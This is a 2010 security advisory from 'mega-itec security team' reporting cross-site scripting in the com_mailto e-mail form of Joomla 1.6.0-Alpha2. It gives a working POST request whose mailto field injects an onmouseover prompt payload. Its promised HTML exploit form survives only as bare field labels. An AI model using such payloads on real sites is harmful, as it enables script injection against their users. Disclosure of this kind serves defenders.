    # Title:Joomla_1.6.0-Alpha2 XSS Vulnerabilities
    # Date: 2010-05-02
    # Author: mega-itec.com
    # Software Link:
    http://joomlacode.org/gf/download/frsrelease/11322/45252/Joomla_1.6.0-Alpha2-Full-Package.zip
    # Version: 1.6.0-alpha2
    # Tested on: [relevant os]
    # CVE :
    # Code :
    [:::::::::::::::::::::::::::::::::::::: 0x1
    ::::::::::::::::::::::::::::::::::::::]
    >> General Information
    Advisory/Exploit Title = Joomla_1.6.0-Alpha2 XSS Vulnerabilities
    Author = mega-itec security team
    Contact = securite@mega-itec.com

    [:::::::::::::::::::::::::::::::::::::: 0x2
    ::::::::::::::::::::::::::::::::::::::]
    >> Product information
    Name = Joomla
    Vendor = Joomla
    Vendor Website = http://www.joomla.org/
    Affected Version(s) = 1.6.0-Alpha2

    [:::::::::::::::::::::::::::::::::::::: 0x3
    ::::::::::::::::::::::::::::::::::::::]
    >> #1 Vulnerability
    Type = XSS ( POST ) mailto,subject,from,sender
    Example URI =
    option=com_mailto&task=user%2Elogin&32720689cad34365fbe10002f91e50a9=1&mailto=%F6"+onmouseover=prompt(406426661849)//&sender=mega-itec@mega-ite.com&from=mega-itec@mega-ite.com&subject=mega-itec@mega-ite.com&layout=default&tmpl=component&link=encode
    link with base 64

    >> #2 html code exploit :
Close Window

## E-mail this link to a friend.

E-mail to:

Sender:

Your E-mail:

Subject:

[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::] >> Misc mega-itec.com ::: mega-itec security team [:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]